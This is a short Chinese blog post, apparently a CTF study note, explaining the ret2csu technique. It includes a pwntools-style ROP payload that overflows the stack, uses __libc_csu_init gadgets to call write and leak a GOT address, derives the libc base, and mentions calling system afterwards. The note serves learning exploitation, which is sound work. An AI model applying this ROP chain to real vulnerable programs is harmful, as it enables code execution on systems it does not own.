少女祈祷中...

也是今天刚搞懂,先写了再说

使用的原因

其实csu指的是每个程序一定会有的函数: libc_csu_init

我们以这个ctf-challenge中的例子学习ret2csu

libc_csu_init
这是IDA逆向之后的csu函数的一部分
也是我们所需要的部分

我们可以看到下面的pop可以帮我们控制寄存器,
同时,上面的mov也可以补充下面无法控制的部分寄存器

当然,你应该也发现了我的示例里有两个脚本,exp1没有使用csu,
而是直接控制了寄存器,这是因为在这个示例里rdx的值足够大(大于8),也就足够输出我们需要的got表值了。如果在其他情况下,那exp1则是无效的。

还有一点就是,我的示例里用的是我本地的libc,而不是附件里面的,如果你无法打通,请参考ret2libc相关知识,将脚本适当调整(在栈上fmt学习也用到了)

控制csu泄露got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csu1 = 0x40061A
csu2 = 0x400600
write_addr = elf.got['write']
main_addr = elf.symbols['main']

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = b'a' * 0x88
payload += p64(csu1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu2)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)
sleep(1)

csu(0, 1, write_addr, 8, write_addr, 1, main_addr)

r13、r14、r15根据这一部分的csu
2024-12-22-154842.png
其实就是在控制rdx、rsi、rdi,同时如果我们让rbx为0,那我们call时就自然调用的是r12的函数,也就是我设定的write
cmp要求我们要rbx跟rbp最后一样,否则将会再次调用,这不符合我们的预期。一开始我们让rbx为0,有个add之后我们的rbx变为了1,所以我们rbp也取1。
前面的b’a’是为了溢出,第二个呢?
第二个是因为不再次运行这个部分的程序
2024-12-22-160513.png
只保留retn,一共7*8个字节
这样我们就填充retn为我们所需要的main的地址(为了再次调用函数,我这里图省事就没再用csu了)
同时也输出了我们所需要的got表地址
进而得到libc基址

最后

后面的部分其实就是正常的使用寄存器控制参数调用system函数了,难度不高